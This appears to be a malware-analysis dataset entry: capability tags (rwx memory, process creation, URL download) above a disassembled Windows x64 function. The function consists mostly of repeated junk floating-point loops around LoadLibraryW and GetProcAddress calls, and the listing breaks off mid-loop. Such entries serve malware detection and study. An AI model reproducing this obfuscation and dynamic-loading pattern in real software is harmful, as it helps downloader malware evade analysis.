Function at 0x1400042b0
Capabilities:
Allocate or change rwx memory
Create process on windows
Download url
Get common file path
Receive data

Disassembly:
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
mov eax, 0x3bc8
call fcn.14002a880
sub rsp, rax
xor ecx, ecx
call fcn.14002a6a0
mov ecx, eax
call fcn.140031200
mov edx, 0x64
lea rcx, [rsp + 0x3780]
call fcn.140029e80
nop
lea rdx, [rsp + 0x3780]
lea rcx, [rsp + 0x38]
call fcn.14002a060
nop
xorps xmm0, xmm0
movsd qword [rsp + 0x30], xmm0
mov qword [rsp + 0x68], 0
jmp 0x140004321
mov rax, qword [rsp + 0x68]
inc rax
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x38]
call fcn.14002a030
cmp qword [rsp + 0x68], rax
jae 0x1400043a3
mov rdx, qword [rsp + 0x68]
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140033af0
movsd qword [rsp + 0x3778], xmm0
lea rcx, [rsp + 0x38]
call fcn.14002a030
sub rax, qword [rsp + 0x68]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140031360
movsd xmm1, qword [rsp + 0x3778]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x30]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x30], xmm0
jmp 0x140004314
mov qword [rsp + 0x70], 0
jmp 0x1400043bb
mov rax, qword [rsp + 0x70]
inc rax
mov qword [rsp + 0x70], rax
lea rcx, [rsp + 0x38]
call fcn.14002a030
cmp qword [rsp + 0x70], rax
jae 0x14000443d
mov rdx, qword [rsp + 0x70]
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140033af0
movsd qword [rsp + 0x1c00], xmm0
lea rcx, [rsp + 0x38]
call fcn.14002a030
sub rax, qword [rsp + 0x70]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140031360
movsd xmm1, qword [rsp + 0x1c00]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x30]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x30], xmm0
jmp 0x1400043ae
mov qword [rsp + 0x78], 0
jmp 0x140004455
mov rax, qword [rsp + 0x78]
inc rax
mov qword [rsp + 0x78], rax
lea rcx, [rsp + 0x38]
call fcn.14002a030
cmp qword [rsp + 0x78], rax
jae 0x1400044d7
mov rdx, qword [rsp + 0x78]
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140033af0
movsd qword [rsp + 0x1c08], xmm0
lea rcx, [rsp + 0x38]
call fcn.14002a030
sub rax, qword [rsp + 0x78]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140031360
movsd xmm1, qword [rsp + 0x1c08]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x30]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x30], xmm0
jmp 0x140004448
mov qword [rsp + 0x80], 0
jmp 0x1400044f8
mov rax, qword [rsp + 0x80]
inc rax
mov qword [rsp + 0x80], rax
lea rcx, [rsp + 0x38]
call fcn.14002a030
cmp qword [rsp + 0x80], rax
jae 0x140004583
mov rdx, qword [rsp + 0x80]
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140033af0
movsd qword [rsp + 0x1c10], xmm0
lea rcx, [rsp + 0x38]
call fcn.14002a030
sub rax, qword [rsp + 0x80]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140031360
movsd xmm1, qword [rsp + 0x1c10]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x30]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x30], xmm0
jmp 0x1400044e5
mov qword [rsp + 0x88], 0
jmp 0x1400045a4
mov rax, qword [rsp + 0x88]
inc rax
mov qword [rsp + 0x88], rax
lea rcx, [rsp + 0x38]
call fcn.14002a030
cmp qword [rsp + 0x88], rax
jae 0x14000462f
mov rdx, qword [rsp + 0x88]
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140033af0
movsd qword [rsp + 0x1c18], xmm0
lea rcx, [rsp + 0x38]
call fcn.14002a030
sub rax, qword [rsp + 0x88]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140031360
movsd xmm1, qword [rsp + 0x1c18]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x30]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x30], xmm0
jmp 0x140004591
mov qword [rsp + 0x90], 0
jmp 0x140004650
mov rax, qword [rsp + 0x90]
inc rax
mov qword [rsp + 0x90], rax
lea rcx, [rsp + 0x38]
call fcn.14002a030
cmp qword [rsp + 0x90], rax
jae 0x1400046db
mov rdx, qword [rsp + 0x90]
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140033af0
movsd qword [rsp + 0x1c20], xmm0
lea rcx, [rsp + 0x38]
call fcn.14002a030
sub rax, qword [rsp + 0x90]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140031360
movsd xmm1, qword [rsp + 0x1c20]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x30]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x30], xmm0
jmp 0x14000463d
mov qword [rsp + 0x98], 0
jmp 0x1400046fc
mov rax, qword [rsp + 0x98]
inc rax
mov qword [rsp + 0x98], rax
lea rcx, [rsp + 0x38]
call fcn.14002a030
cmp qword [rsp + 0x98], rax
jae 0x140004787
mov rdx, qword [rsp + 0x98]
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140033af0
movsd qword [rsp + 0x1c28], xmm0
lea rcx, [rsp + 0x38]
call fcn.14002a030
sub rax, qword [rsp + 0x98]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140031360
movsd xmm1, qword [rsp + 0x1c28]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x30]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x30], xmm0
jmp 0x1400046e9
mov qword [rsp + 0xa0], 0
jmp 0x1400047a8
mov rax, qword [rsp + 0xa0]
inc rax
mov qword [rsp + 0xa0], rax
lea rcx, [rsp + 0x38]
call fcn.14002a030
cmp qword [rsp + 0xa0], rax
jae 0x140004833
mov rdx, qword [rsp + 0xa0]
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140033af0
movsd qword [rsp + 0x1c30], xmm0
lea rcx, [rsp + 0x38]
call fcn.14002a030
sub rax, qword [rsp + 0xa0]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140031360
movsd xmm1, qword [rsp + 0x1c30]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x30]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x30], xmm0
jmp 0x140004795
mov qword [rsp + 0xa8], 0
jmp 0x140004854
mov rax, qword [rsp + 0xa8]
inc rax
mov qword [rsp + 0xa8], rax
lea rcx, [rsp + 0x38]
call fcn.14002a030
cmp qword [rsp + 0xa8], rax
jae 0x1400048df
mov rdx, qword [rsp + 0xa8]
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140033af0
movsd qword [rsp + 0x1c38], xmm0
lea rcx, [rsp + 0x38]
call fcn.14002a030
sub rax, qword [rsp + 0xa8]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140031360
movsd xmm1, qword [rsp + 0x1c38]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x30]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x30], xmm0
jmp 0x140004841
mov qword [rsp + 0xb0], 0
jmp 0x140004900
mov rax, qword [rsp + 0xb0]
inc rax
mov qword [rsp + 0xb0], rax
lea rcx, [rsp + 0x38]
call fcn.14002a030
cmp qword [rsp + 0xb0], rax
jae 0x14000498b
mov rdx, qword [rsp + 0xb0]
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140033af0
movsd qword [rsp + 0x1c40], xmm0
lea rcx, [rsp + 0x38]
call fcn.14002a030
sub rax, qword [rsp + 0xb0]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140031360
movsd xmm1, qword [rsp + 0x1c40]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x30]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x30], xmm0
jmp 0x1400048ed
lea rcx, [rsp + 0x58]
call fcn.140003a10
mov rcx, rax
call fcn.140003990
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rsp + 0x1bf0], rax
mov qword [rsp + 0xb8], 0
jmp 0x1400049cf
mov rax, qword [rsp + 0xb8]
inc rax
mov qword [rsp + 0xb8], rax
lea rcx, [rsp + 0x38]
call fcn.14002a030
cmp qword [rsp + 0xb8], rax
jae 0x140004a5a
mov rdx, qword [rsp + 0xb8]
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140033af0
movsd qword [rsp + 0x1c48], xmm0
lea rcx, [rsp + 0x38]
call fcn.14002a030
sub rax, qword [rsp + 0xb8]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140031360
movsd xmm1, qword [rsp + 0x1c48]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x30]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x30], xmm0
jmp 0x1400049bc
mov qword [rsp + 0xc0], 0
jmp 0x140004a7b
mov rax, qword [rsp + 0xc0]
inc rax
mov qword [rsp + 0xc0], rax
lea rcx, [rsp + 0x38]
call fcn.14002a030
cmp qword [rsp + 0xc0], rax
jae 0x140004b06
mov rdx, qword [rsp + 0xc0]
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140033af0
movsd qword [rsp + 0x1c50], xmm0
lea rcx, [rsp + 0x38]
call fcn.14002a030
sub rax, qword [rsp + 0xc0]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140031360
movsd xmm1, qword [rsp + 0x1c50]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x30]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x30], xmm0
jmp 0x140004a68
mov qword [rsp + 0xc8], 0
jmp 0x140004b27
mov rax, qword [rsp + 0xc8]
inc rax
mov qword [rsp + 0xc8], rax
lea rcx, [rsp + 0x38]
call fcn.14002a030
cmp qword [rsp + 0xc8], rax
jae 0x140004bb2
mov rdx, qword [rsp + 0xc8]
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140033af0
movsd qword [rsp + 0x1c58], xmm0
lea rcx, [rsp + 0x38]
call fcn.14002a030
sub rax, qword [rsp + 0xc8]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140031360
movsd xmm1, qword [rsp + 0x1c58]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x30]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x30], xmm0
jmp 0x140004b14
mov qword [rsp + 0xd0], 0
jmp 0x140004bd3
mov rax, qword [rsp + 0xd0]
inc rax
mov qword [rsp + 0xd0], rax
lea rcx, [rsp + 0x38]
call fcn.14002a030
cmp qword [rsp + 0xd0], rax
jae 0x140004c5e
mov rdx, qword [rsp + 0xd0]
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140033af0
movsd qword [rsp + 0x1c60], xmm0
lea rcx, [rsp + 0x38]
call fcn.14002a030
sub rax, qword [rsp + 0xd0]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140031360
movsd xmm1, qword [rsp + 0x1c60]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x30]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x30], xmm0
jmp 0x140004bc0
mov qword [rsp + 0xd8], 0
jmp 0x140004c7f
mov rax, qword [rsp + 0xd8]
inc rax
mov qword [rsp + 0xd8], rax
lea rcx, [rsp + 0x38]
call fcn.14002a030
cmp qword [rsp + 0xd8], rax
jae 0x140004d0a
mov rdx, qword [rsp + 0xd8]
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140033af0
movsd qword [rsp + 0x1c68], xmm0
lea rcx, [rsp + 0x38]
call fcn.14002a030
sub rax, qword [rsp + 0xd8]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140031360
movsd xmm1, qword [rsp + 0x1c68]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x30]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x30], xmm0
jmp 0x140004c6c
mov qword [rsp + 0xe0], 0
jmp 0x140004d2b
mov rax, qword [rsp + 0xe0]
inc rax
mov qword [rsp + 0xe0], rax
lea rcx, [rsp + 0x38]
call fcn.14002a030
cmp qword [rsp + 0xe0], rax
jae 0x140004db6
mov rdx, qword [rsp + 0xe0]
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140033af0
movsd qword [rsp + 0x1c70], xmm0
lea rcx, [rsp + 0x38]
call fcn.14002a030
sub rax, qword [rsp + 0xe0]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140031360
movsd xmm1, qword [rsp + 0x1c70]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x30]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x30], xmm0
jmp 0x140004d18
mov qword [rsp + 0xe8], 0
jmp 0x140004dd7
mov rax, qword [rsp + 0xe8]
inc rax
mov qword [rsp + 0xe8], rax
lea rcx, [rsp + 0x38]
call fcn.14002a030
cmp qword [rsp + 0xe8], rax
jae 0x140004e62
mov rdx, qword [rsp + 0xe8]
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140033af0
movsd qword [rsp + 0x1c78], xmm0
lea rcx, [rsp + 0x38]
call fcn.14002a030
sub rax, qword [rsp + 0xe8]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140031360
movsd xmm1, qword [rsp + 0x1c78]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x30]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x30], xmm0
jmp 0x140004dc4
mov qword [rsp + 0xf0], 0
jmp 0x140004e83
mov rax, qword [rsp + 0xf0]
inc rax
mov qword [rsp + 0xf0], rax
lea rcx, [rsp + 0x38]
call fcn.14002a030
cmp qword [rsp + 0xf0], rax
jae 0x140004f0e
mov rdx, qword [rsp + 0xf0]
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140033af0
movsd qword [rsp + 0x1c80], xmm0
lea rcx, [rsp + 0x38]
call fcn.14002a030
sub rax, qword [rsp + 0xf0]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140031360
movsd xmm1, qword [rsp + 0x1c80]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x30]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x30], xmm0
jmp 0x140004e70
mov qword [rsp + 0xf8], 0
jmp 0x140004f2f
mov rax, qword [rsp + 0xf8]
inc rax
mov qword [rsp + 0xf8], rax
lea rcx, [rsp + 0x38]
call fcn.14002a030
cmp qword [rsp + 0xf8], rax
jae 0x140004fba
mov rdx, qword [rsp + 0xf8]
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140033af0
movsd qword [rsp + 0x1c88], xmm0
lea rcx, [rsp + 0x38]
call fcn.14002a030
sub rax, qword [rsp + 0xf8]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140031360
movsd xmm1, qword [rsp + 0x1c88]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x30]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x30], xmm0
jmp 0x140004f1c
mov qword [rsp + 0x100], 0
jmp 0x140004fdb
mov rax, qword [rsp + 0x100]
inc rax
mov qword [rsp + 0x100], rax
lea rcx, [rsp + 0x38]
call fcn.14002a030
cmp qword [rsp + 0x100], rax
jae 0x140005066
mov rdx, qword [rsp + 0x100]
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140033af0
movsd qword [rsp + 0x1c90], xmm0
lea rcx, [rsp + 0x38]
call fcn.14002a030
sub rax, qword [rsp + 0x100]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140031360
movsd xmm1, qword [rsp + 0x1c90]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x30]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x30], xmm0
jmp 0x140004fc8
cmp qword [rsp + 0x1bf0], 0
je 0x1400292f1
mov qword [rsp + 0x108], 0
jmp 0x140005096
mov rax, qword [rsp + 0x108]
inc rax
mov qword [rsp + 0x108], rax
lea rcx, [rsp + 0x38]
call fcn.14002a030
cmp qword [rsp + 0x108], rax
jae 0x140005121
mov rdx, qword [rsp + 0x108]
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140033af0
movsd qword [rsp + 0x1c98], xmm0
lea rcx, [rsp + 0x38]
call fcn.14002a030
sub rax, qword [rsp + 0x108]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140031360
movsd xmm1, qword [rsp + 0x1c98]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x30]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x30], xmm0
jmp 0x140005083
mov qword [rsp + 0x110], 0
jmp 0x140005142
mov rax, qword [rsp + 0x110]
inc rax
mov qword [rsp + 0x110], rax
lea rcx, [rsp + 0x38]
call fcn.14002a030
cmp qword [rsp + 0x110], rax
jae 0x1400051cd
mov rdx, qword [rsp + 0x110]
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140033af0
movsd qword [rsp + 0x1ca0], xmm0
lea rcx, [rsp + 0x38]
call fcn.14002a030
sub rax, qword [rsp + 0x110]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140031360
movsd xmm1, qword [rsp + 0x1ca0]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x30]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x30], xmm0
jmp 0x14000512f
mov qword [rsp + 0x118], 0
jmp 0x1400051ee
mov rax, qword [rsp + 0x118]
inc rax
mov qword [rsp + 0x118], rax
lea rcx, [rsp + 0x38]
call fcn.14002a030
cmp qword [rsp + 0x118], rax
jae 0x140005279
mov rdx, qword [rsp + 0x118]
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140033af0
movsd qword [rsp + 0x1ca8], xmm0
lea rcx, [rsp + 0x38]
call fcn.14002a030
sub rax, qword [rsp + 0x118]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140031360
movsd xmm1, qword [rsp + 0x1ca8]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x30]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x30], xmm0
jmp 0x1400051db
mov qword [rsp + 0x120], 0
jmp 0x14000529a
mov rax, qword [rsp + 0x120]
inc rax
mov qword [rsp + 0x120], rax
lea rcx, [rsp + 0x38]
call fcn.14002a030
cmp qword [rsp + 0x120], rax
jae 0x140005325
mov rdx, qword [rsp + 0x120]
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140033af0
movsd qword [rsp + 0x1cb0], xmm0
lea rcx, [rsp + 0x38]
call fcn.14002a030
sub rax, qword [rsp + 0x120]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140031360
movsd xmm1, qword [rsp + 0x1cb0]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x30]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x30], xmm0
jmp 0x140005287
mov qword [rsp + 0x128], 0
jmp 0x140005346
mov rax, qword [rsp + 0x128]
inc rax
mov qword [rsp + 0x128], rax
lea rcx, [rsp + 0x38]
call fcn.14002a030
cmp qword [rsp + 0x128], rax
jae 0x1400053d1
mov rdx, qword [rsp + 0x128]
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140033af0
movsd qword [rsp + 0x1cb8], xmm0
lea rcx, [rsp + 0x38]
call fcn.14002a030
sub rax, qword [rsp + 0x128]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140031360
movsd xmm1, qword [rsp + 0x1cb8]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x30]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x30], xmm0
jmp 0x140005333
mov qword [rsp + 0x130], 0
jmp 0x1400053f2
mov rax, qword [rsp + 0x130]
inc rax
mov qword [rsp + 0x130], rax
lea rcx, [rsp + 0x38]
call fcn.14002a030
cmp qword [rsp + 0x130], rax
jae 0x14000547d
mov rdx, qword [rsp + 0x130]
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140033af0
movsd qword [rsp + 0x1cc0], xmm0
lea rcx, [rsp + 0x38]
call fcn.14002a030
sub rax, qword [rsp + 0x130]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140031360
movsd xmm1, qword [rsp + 0x1cc0]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x30]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x30], xmm0
jmp 0x1400053df
mov qword [rsp + 0x138], 0
jmp 0x14000549e
mov rax, qword [rsp + 0x138]
inc rax
mov qword [rsp + 0x138], rax
lea rcx, [rsp + 0x38]
call fcn.14002a030
cmp qword [rsp + 0x138], rax
jae 0x140005529
mov rdx, qword [rsp + 0x138]
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140033af0
movsd qword [rsp + 0x1cc8], xmm0
lea rcx, [rsp + 0x38]
call fcn.14002a030
sub rax, qword [rsp + 0x138]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140031360
movsd xmm1, qword [rsp + 0x1cc8]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x30]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x30], xmm0
jmp 0x14000548b
mov qword [rsp + 0x140], 0
jmp 0x14000554a
mov rax, qword [rsp + 0x140]
inc rax
mov qword [rsp + 0x140], rax
lea rcx, [rsp + 0x38]
call fcn.14002a030
cmp qword [rsp + 0x140], rax
jae 0x1400055d5
mov rdx, qword [rsp + 0x140]
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140033af0
movsd qword [rsp + 0x1cd0], xmm0
lea rcx, [rsp + 0x38]
call fcn.14002a030
sub rax, qword [rsp + 0x140]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140031360
movsd xmm1, qword [rsp + 0x1cd0]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x30]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x30], xmm0
jmp 0x140005537
mov qword [rsp + 0x148], 0
jmp 0x1400055f6
mov rax, qword [rsp + 0x148]
inc rax
mov qword [rsp + 0x148], rax
lea rcx, [rsp + 0x38]
call fcn.14002a030
cmp qword [rsp + 0x148], rax
jae 0x140005681
mov rdx, qword [rsp + 0x148]
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140033af0
movsd qword [rsp + 0x1cd8], xmm0
lea rcx, [rsp + 0x38]
call fcn.14002a030
sub rax, qword [rsp + 0x148]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140031360
movsd xmm1, qword [rsp + 0x1cd8]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x30]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x30], xmm0
jmp 0x1400055e3
mov qword [rsp + 0x150], 0
jmp 0x1400056a2
mov rax, qword [rsp + 0x150]
inc rax
mov qword [rsp + 0x150], rax
lea rcx, [rsp + 0x38]
call fcn.14002a030
cmp qword [rsp + 0x150], rax
jae 0x14000572d
mov rdx, qword [rsp + 0x150]
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140033af0
movsd qword [rsp + 0x1ce0], xmm0
lea rcx, [rsp + 0x38]
call fcn.14002a030
sub rax, qword [rsp + 0x150]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140031360
movsd xmm1, qword [rsp + 0x1ce0]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x30]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x30], xmm0
jmp 0x14000568f
lea rcx, [rsp + 0x59]
call fcn.140003e30
mov rcx, rax
call fcn.140003970
mov rdx, rax
mov rcx, qword [rsp + 0x1bf0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x1be0], rax
mov qword [rsp + 0x158], 0
jmp 0x140005779
mov rax, qword [rsp + 0x158]
inc rax
mov qword [rsp + 0x158], rax
lea rcx, [rsp + 0x38]
call fcn.14002a030
cmp qword [rsp + 0x158], rax
jae 0x140005804
mov rdx, qword [rsp + 0x158]
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140033af0
movsd qword [rsp + 0x1ce8], xmm0
lea rcx, [rsp + 0x38]
call fcn.14002a030
sub rax, qword [rsp + 0x158]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140031360
movsd xmm1, qword [rsp + 0x1ce8]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x30]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x30], xmm0
jmp 0x140005766
mov qword [rsp + 0x160], 0
jmp 0x140005825
mov rax, qword [rsp + 0x160]
inc rax
mov qword [rsp + 0x160], rax
lea rcx, [rsp + 0x38]
call fcn.14002a030
cmp qword [rsp + 0x160], rax
jae 0x1400058b0
mov rdx, qword [rsp + 0x160]
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
call fcn.140033af0
movsd qword [rsp + 0x1cf0], xmm0
lea rcx, [rsp + 0x38]
call fcn.14002a030
sub rax, qword [rsp + 0x160]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140003920
movsd xmm0, qword [rax]
